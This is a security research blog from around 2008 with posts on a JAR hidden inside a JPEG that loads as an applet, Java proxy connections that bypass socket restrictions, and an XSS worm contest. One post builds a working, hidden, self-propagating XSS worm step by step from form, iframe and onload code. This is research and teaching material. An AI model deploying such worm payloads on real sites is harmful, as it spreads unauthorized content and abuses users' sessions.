Java 1.6u4 and Some Old Hacks Revisited

Sun's Java SE 6 Update 4 was released a few weeks ago. It isn't currently showing up on java.com, but it can be downloaded directly from Sun: Java SE Downloads. Read the Java SE 6 Update 4 Release Notes.

There haven't been any specific security advisories posted by Sun, so this may have been a bug fix only release. Or, maybe they are just waiting.

In any case, I thought it would make sense to revisit some old demonstrations I posted to see if they still worked:

Both of the online demos are still available and function just as before. So, it doesn't appear there were fixes or changes in either of these two areas.

The JAR file masquerading as an image still loads as an applet:

$ unzip -l jars.jpg
Archive:  jars.jpg
warning [jars.jpg]:  25336 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  Length     Date   Time    Name
 --------    ----   ----    ----
        0  11-20-07 23:06   META-INF/
       68  11-20-07 23:06   META-INF/MANIFEST.MF
     3382  11-20-07 23:06   CorruptedApplet.class
 --------                   -------
     3450                   3 files

Results from Linux using the URLConnection class and local proxy server:

[*] beginning demo
[*] Firefox detected
[*] Java is enabled
[*] LiveConnect present
[*] found Java plugin: Java(TM) Plug-in 1.6.0_04-b12 (libjavaplugin_oji.so)
[*] starting pwn
[*] requesting http://localhost.pseudo-flaw.net:80/
[*] demo completed

Results from Windows using the URLConnection class and local proxy server:

[*] beginning demo
[*] Firefox detected
[*] Java is enabled
[*] LiveConnect present
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjava11.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjava12.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjava13.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjava14.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjava32.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npoji610.dll)
[*] found Java plugin: Java(TM) Platform SE 6 U4 (npjpi160_04.dll)
[*] starting pwn
[*] requesting http://localhost.pseudo-flaw.net:80/
[*] demo completed

With the corresponding entry and arbitrary referer in the local web-server's Apache logs:

127.0.0.1 - - [30/Jan/2008:05:46:22 -0000] "GET / HTTP/1.1" 200 5258 "http://www.google.com/search?q=pwned&btnI=I%27m+Feeling+Lucky" "Mozilla/4.0 (Linux 2.6.20-16-generic) Java/1.6.0_04 Paros/3.2.13" "-"

Wonder what the next Java update will bring?

Posted by gfleischer on 2008/01/30 at 00:29 in Hacking

Top Ten Web Hacks of 2007 Results

The results are in: Top Ten Web Hacks of 2007. All good stuff.

My list in no particular order:

Posted by gfleischer on 2008/01/25 at 00:27 in Hacking

Diminutive XSS Worms and IFRAMEs

The Diminutive XSS Worm Replication Contest finished up two weeks ago. See Diminutive Worm Contest Wrapup for the winners (Giorgio Maone and Sirdarckcat) and the details. RSnake posted an excellent paper that looks back at the contest and what was learned that could be used to stop XSS worms. I'll have more to say about the defense aspect later.

For all of the initial controversy, post-contest coverage was lighter than I expected:

Another thing I found fascinating is that in both RSnake's paper and the commentary, XMLHttpRequest was somehow preferred over form submission simply because it was "silent". (See Creating and Combating the Ultimate XSS Worm). But as "bwb labs" rightly points outs, there are a variety of techniques to use when the form submission approach would absolutely be required (e.g., cross-domain blind-CSRF). In fact, nearly trivial modifications can be made to support silent, one-time posting using forms. The approach is based on remote scripting with iframes (a popular technique from the pre-AJAX era).

To start with, we'll examine a contest entry from Gareth Heyes:

<form><input name="content"><iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit(alert('XSS',f.action=(f.method='post')+'.php'))">

The entry used a side-effect of the contest rules to reduce the number of bytes, so removing that will help show what is happening. It will no longer be diminutive, but the purpose here is to understand the behavior and not to create small worms.

Re-arranging the code, adding line breaks and removing the minimal payload:

<form method="post" action="post.php">
<input name="content">
<iframe onload="(f=parentNode)[0].value='<form>'+f.innerHTML;f.submit();">

Obviously, the revised code will no longer self-propagate, because the method and action from the form are not being reproduced. To address this, an additional parent level element should be added. The favored solution from the contest was to use the a b and the bold function, but empirical testing indicates that a div element seems to be more effective. Additionally, making the content type hidden and explicitly closing the form and iframe tag yield better results:

<div>
<form method="post" action="post.php">
<input name="content" type="hidden">
<iframe
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

Here is where some of the remote scripting techniques can be applied. By assigning a target to the form and a corresponding name to the iframe, the form can be made to submit to the iframe instead of the current window. So, we add a name to the iframe and target to the form (plus a form name for good measure):

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;f.submit();">
</iframe>
</form>

This change will cause the form to submit into the iframe and leave the current page content unchanged. But an interesting problem is encountered if the content that has been submitted is echoed back. If this happens, an infinite loop has been constructed and the repeated posts will cause undue stress on the server.

To resolve this, the submitted content should check where it is running. One piece of information that the iframe has is the window.name value, which corresponds to the name on the iframe. By adding a check for the current window name, the code can determine whether it has already been submitted or not:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('_t' != window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	}">
</iframe>
</form>

Unfortunately, this code suffers from a related problem. When the form submits into the iframe, the onload function will be triggered. This will happen repeatedly until the current page location is changed. To account for this a guard variable is added:

<div>
<form method="post" action="post.php" name="_f" target="_t">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

The strange xor usage is done to avoid any '&' characters that may have additional encoding applied when innerHTML is used.

Finally, a CSS style is applied to hide the form and iframe. There are many ways to do this including "display: none" or "overflow: hidden" with zero height and width, but I prefer to use absolute positioning with large negative offsets. This style is applied to the form, so valid content can be included prior to it:

<div>
<i>Valid content goes <u>here</u></i>.
<form method="post" action="post.php" name="_f" target="_t"
      style="position: absolute; left: -9999px;">
<input name="content" type="hidden">
<iframe
	name="_t"
	onload="if ('undefined' == typeof(_o) ^ '_t' == window.name) {
	(f=parentNode)[0].value='<div>'+f.parentNode.innerHTML;
	f.submit();
	_o = 1;
	}">
</iframe>
</form>

Of course, a similar approach could be used to modify any of the entries that use img elements and onerror to trigger the form submission. An iframe would be added, assigned a name, and this would be the set as the target on the form.

Hopefully, it is clear that form submission worms are still a threat that should be considered even though XMLHttpRequest may be the preferred approach. But if cross-domain submission is used as a protection mechanism, clever use of the IFRAME element can still make XSS worms a possibility.

If you are having a hard time visualizing how the propagation actually works, I've posted the code to my poorly crafted PHP application. It matches the constraints in the contest while supporting multiple users with minimal fuss: xss-worm-test-0.01.tar.gz (sig). You will need PHP and MySQL. See the README for more information. I would put this online myself, but it has obvious security holes; I would strongly recommend against putting this on a publicly accessible site.

Posted by gfleischer on 2008/01/24 at 19:54 in Hacking

Diminutive XSS Worm Contest and Interesting Vectors

The Diminutive XSS Worm Replication Contest is set to wrap up tomorrow January 10th at 7PM GMT. The goal is to develop a cross-browser XSS worm in the fewest number of bytes (subject to certain rules). It is part academic exercise, part bragging rights contest. It hasn't been without controversy.

I've been following the results in the sl.ackers.org forums, and there have been some are very intriguing entries posted. Basically, two primary vectors have emerged:

  • Using iframe or img with either onload or onerror event handlers to post a form.
  • Using XMLHttpRequest to post the content.

The XMLHttpRequest approach is interesting because it allows for silent submissions, but there appear to be issues with properly setting the content-type and URL escaping.

There has been heavy use of innerHTML to create self-referencing code. Both Internet Explorer and Mozilla Firefox browsers will close open tags when using innerHTML to retrieve content. This behaviour causes content to expand when submitted. But, contest rule #3 states that the content cannot grow during propagation which has led to the use of slice method to trim closing tags. For example,

p = document.createElement("p");
alert(p.innerHTML = "<a><b><i>");    // <a><b><i>
alert(p.innerHTML);                  // <a><b><i></i></b></a>
alert(p.innerHTML.slice(0,9));       // <a><b><i>

In my opinion, the growth rule is where the contest may have drifted off course. I can understand not wanting exponential growth, but fixed growth after initial propagation is not necessarily bad - some mutation of worm code can even be desirable. But the rules are the rules, so there isn't much room to quibble.

On a related note, Gareth Heyes has posted some interesting vectors that utilize the DOM that incorporate some of the findings from the contest.

All in all, some very exciting work.

Posted by gfleischer on 2008/01/09 at 13:34 in Hacking

Corrupted Jars - Online Demonstration

As a follow up to my You got your JAR in my JPEG post, I've added an online demonstration. The corrupted JAR is hosted as a JPEG image on googlepages.com. The image is specified as JAR archive for an applet. When the applet is loaded, it attempts to connect back to the googlepages.com server and then submits the response back to this server.

Try out the corrupted jars demonstration.

Posted by gfleischer on 2007/11/21 at 11:00 in Hacking

You got your JAR in my JPEG

PDP from GNUCITIZEN suggested that Java applets can be load from corrupted JAR files. I'm not sure what browser or JRE he was working with, but after following his documented steps I was ready to call shenanigans. Combining a JPEG and a JAR did result in a file that could be opened as an image as well as extracted as a PKZIP archive (this is a totally old-school, ghetto stego trick). On Mac OS X (with Firefox 2.0.0.9) the corrupted file wouldn't load as an applet. And on Linux, the 1.6u3 Sun JRE exhibited the same behavior. The applet would be downloaded but when processed it wouldn't load.

Finally, as a last resort, I tried using Windows and was able to get some success with Firefox and 1.6u3. The JRE would generally load the applet no matter what the garbage content was in front of it. I decided I had done something wrong in my Mac and Linux tests and went back to re-test.

After re-testing, Linux appears to be susceptible to this trick as well, but not as consistently. There is some strange cache behavior that appears to influence whether or not the file is recognized as an applet. I'm thinking that if a user visits the file before it has been corrupted, it won't be recognized as an applet later.

I've come to the conclusion that Mac OS X isn't affected by this issue. Apple provides its own Java Environment and there must be some difference that is preventing this trick from working.

Online demonstration coming soon.

Posted by gfleischer on 2007/11/18 at 22:27 in Hacking

Java Socket Restrictions, Proxy Servers, and the URLConnection

In early October, Sun updated the Java Runtime Environment (JRE) to close some of the gaping holes in the handling of network connections: Security Vulnerabilities in Java Runtime Environment May Allow Network Access Restrictions to be Circumvented. As a result, the ever popular DNS rebinding and document.domain bypass vectors were effectively shut down. The JRE now attempts to validate that the network address and hostnames are linked when establishing socket connections (see the end of my Attacking the Tor Control Port with Java for more discussion and a network trace).

Of course, it is possible that these changes have not been effective. There may yet be some means of bypassing the restrictions either through DNS rebinding or the document.domain exception. The comments in the code seem to indicate the solution is not fully baked.

From InetAddress.java:


     //XXX: if it looks a spoof just return the address?
     if (!ok) {
	

From SocketPermission.java:


     // XXX: if all else fails, compare hostnames?
     // Do we really want this?
	

One of the other points of attack in DNS rebinding exploits are proxy servers. The latest JRE (6u3) seems to take a different code path when a proxy has been explicitly configured through the network settings:

Java Proxy Server Settings

Arbitrary socket connections are still not permitted, but connections made through the URLConnection class are allowed. The setRequestProperty can be used to set HTTP header values, but depending on the proxy that you are going through these may be adjusted. Remember, the proxy is the one making the request.

I've only tested using the document.domain exception bypass and LiveConnect, but I would assume that something similar can be performed using a DNS rebinding approach and applets. Also, I haven't fully investigated the impact of the "Bypass proxy server for local addresses" option.

I've put up an online demonstration. You'll need Firefox, a 1.6 JRE, and a proxy server with a locally configured web server. The demo attempts to connect to the local web server by requesting the root document through the proxy.

Posted by gfleischer on 2007/11/15 at 21:27 in Hacking


Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!